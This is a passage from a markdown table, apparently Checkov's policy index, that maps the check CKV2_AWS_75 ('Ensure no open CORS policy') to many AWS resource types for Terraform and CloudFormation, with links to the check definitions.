| aws_alb_target_group_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2521 | CKV2_AWS_75 | resource | aws_ami | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2522 | CKV2_AWS_75 | resource | aws_ami | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2523 | CKV2_AWS_75 | resource | aws_ami_copy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2524 | CKV2_AWS_75 | resource | aws_ami_copy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2525 | CKV2_AWS_75 | resource | aws_ami_from_instance | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2526 | CKV2_AWS_75 | resource | aws_ami_from_instance | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2527 | CKV2_AWS_75 | resource | aws_ami_launch_permission | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2528 | CKV2_AWS_75 | resource | aws_ami_launch_permission | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2529 | CKV2_AWS_75 | resource | aws_amplify_app | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2530 | CKV2_AWS_75 | resource | aws_amplify_app | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2531 | CKV2_AWS_75 | resource | aws_amplify_backend_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2532 | CKV2_AWS_75 | resource | aws_amplify_backend_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2533 | CKV2_AWS_75 | resource | aws_amplify_branch | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2534 | CKV2_AWS_75 | resource | aws_amplify_branch | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2535 | CKV2_AWS_75 | resource | aws_amplify_domain_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2536 | CKV2_AWS_75 | resource | aws_amplify_domain_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2537 | CKV2_AWS_75 | resource | aws_amplify_webhook | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2538 | CKV2_AWS_75 | resource | aws_amplify_webhook | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2539 | CKV2_AWS_75 | resource | aws_api_gateway_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2540 | CKV2_AWS_75 | resource | aws_api_gateway_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2541 | CKV2_AWS_75 | resource | aws_api_gateway_api_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2542 | CKV2_AWS_75 | resource | aws_api_gateway_api_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2543 | CKV2_AWS_75 | resource | aws_api_gateway_authorizer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2544 | CKV2_AWS_75 | resource | aws_api_gateway_authorizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2545 | CKV2_AWS_75 | resource | aws_api_gateway_base_path_mapping | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2546 | CKV2_AWS_75 | resource | aws_api_gateway_base_path_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2547 | CKV2_AWS_75 | resource | aws_api_gateway_client_certificate | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2548 | CKV2_AWS_75 | resource | aws_api_gateway_client_certificate | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2549 | CKV2_AWS_75 | resource | aws_api_gateway_deployment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2550 | CKV2_AWS_75 | resource | aws_api_gateway_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2551 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_part | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2552 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_part | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2553 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_version | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2554 | CKV2_AWS_75 | resource | aws_api_gateway_documentation_version | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2555 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2556 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2557 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name_access_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2558 | CKV2_AWS_75 | resource | aws_api_gateway_domain_name_access_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2559 | CKV2_AWS_75 | resource | aws_api_gateway_gateway_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2560 | CKV2_AWS_75 | resource | aws_api_gateway_gateway_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2561 | CKV2_AWS_75 | resource | aws_api_gateway_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2562 | CKV2_AWS_75 | resource | aws_api_gateway_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2563 | CKV2_AWS_75 | resource | aws_api_gateway_integration_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2564 | CKV2_AWS_75 | resource | aws_api_gateway_integration_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2565 | CKV2_AWS_75 | resource | aws_api_gateway_method | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2566 | CKV2_AWS_75 | resource | aws_api_gateway_method | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2567 | CKV2_AWS_75 | resource | aws_api_gateway_method_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2568 | CKV2_AWS_75 | resource | aws_api_gateway_method_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2569 | CKV2_AWS_75 | resource | aws_api_gateway_method_settings | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2570 | CKV2_AWS_75 | resource | aws_api_gateway_method_settings | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2571 | CKV2_AWS_75 | resource | aws_api_gateway_model | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2572 | CKV2_AWS_75 | resource | aws_api_gateway_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2573 | CKV2_AWS_75 | resource | aws_api_gateway_request_validator | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2574 | CKV2_AWS_75 | resource | aws_api_gateway_request_validator | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2575 | CKV2_AWS_75 | resource | aws_api_gateway_resource | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2576 | CKV2_AWS_75 | resource | aws_api_gateway_resource | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2577 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2578 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2579 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2580 | CKV2_AWS_75 | resource | aws_api_gateway_rest_api_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2581 | CKV2_AWS_75 | resource | aws_api_gateway_stage | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2582 | CKV2_AWS_75 | resource | aws_api_gateway_stage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2583 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2584 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2585 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan_key | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2586 | CKV2_AWS_75 | resource | aws_api_gateway_usage_plan_key | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2587 | CKV2_AWS_75 | resource | aws_api_gateway_vpc_link | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2588 | CKV2_AWS_75 | resource | aws_api_gateway_vpc_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2589 | CKV2_AWS_75 | resource | aws_apigatewayv2_api | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2590 | CKV2_AWS_75 | resource | aws_apigatewayv2_api | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2591 | CKV2_AWS_75 | resource | aws_apigatewayv2_api_mapping | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2592 | CKV2_AWS_75 | resource | aws_apigatewayv2_api_mapping | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2593 | CKV2_AWS_75 | resource | aws_apigatewayv2_authorizer | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2594 | CKV2_AWS_75 | resource | aws_apigatewayv2_authorizer | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2595 | CKV2_AWS_75 | resource | aws_apigatewayv2_deployment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2596 | CKV2_AWS_75 | resource | aws_apigatewayv2_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2597 | CKV2_AWS_75 | resource | aws_apigatewayv2_domain_name | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2598 | CKV2_AWS_75 | resource | aws_apigatewayv2_domain_name | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2599 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2600 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2601 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2602 | CKV2_AWS_75 | resource | aws_apigatewayv2_integration_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2603 | CKV2_AWS_75 | resource | aws_apigatewayv2_model | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2604 | CKV2_AWS_75 | resource | aws_apigatewayv2_model | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2605 | CKV2_AWS_75 | resource | aws_apigatewayv2_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2606 | CKV2_AWS_75 | resource | aws_apigatewayv2_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2607 | CKV2_AWS_75 | resource | aws_apigatewayv2_route_response | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2608 | CKV2_AWS_75 | resource | aws_apigatewayv2_route_response | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2609 | CKV2_AWS_75 | resource | aws_apigatewayv2_stage | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2610 | CKV2_AWS_75 | resource | aws_apigatewayv2_stage | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2611 | CKV2_AWS_75 | resource | aws_apigatewayv2_vpc_link | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2612 | CKV2_AWS_75 | resource | aws_apigatewayv2_vpc_link | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2613 | CKV2_AWS_75 | resource | aws_app_cookie_stickiness_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2614 | CKV2_AWS_75 | resource | aws_app_cookie_stickiness_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2615 | CKV2_AWS_75 | resource | aws_appautoscaling_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2616 | CKV2_AWS_75 | resource | aws_appautoscaling_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2617 | CKV2_AWS_75 | resource | aws_appautoscaling_scheduled_action | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2618 | CKV2_AWS_75 | resource | aws_appautoscaling_scheduled_action | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2619 | CKV2_AWS_75 | resource | aws_appautoscaling_target | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2620 | CKV2_AWS_75 | resource | aws_appautoscaling_target | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2621 | CKV2_AWS_75 | resource | aws_appconfig_application | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2622 | CKV2_AWS_75 | resource | aws_appconfig_application | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2623 | CKV2_AWS_75 | resource | aws_appconfig_configuration_profile | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2624 | CKV2_AWS_75 | resource | aws_appconfig_configuration_profile | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2625 | CKV2_AWS_75 | resource | aws_appconfig_deployment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2626 | CKV2_AWS_75 | resource | aws_appconfig_deployment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2627 | CKV2_AWS_75 | resource | aws_appconfig_deployment_strategy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2628 | CKV2_AWS_75 | resource | aws_appconfig_deployment_strategy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2629 | CKV2_AWS_75 | resource | aws_appconfig_environment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 2630 | CKV2_AWS_75 | resource | aws_appconfig_environment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 2631 | CKV2_AWS_75 | resource | 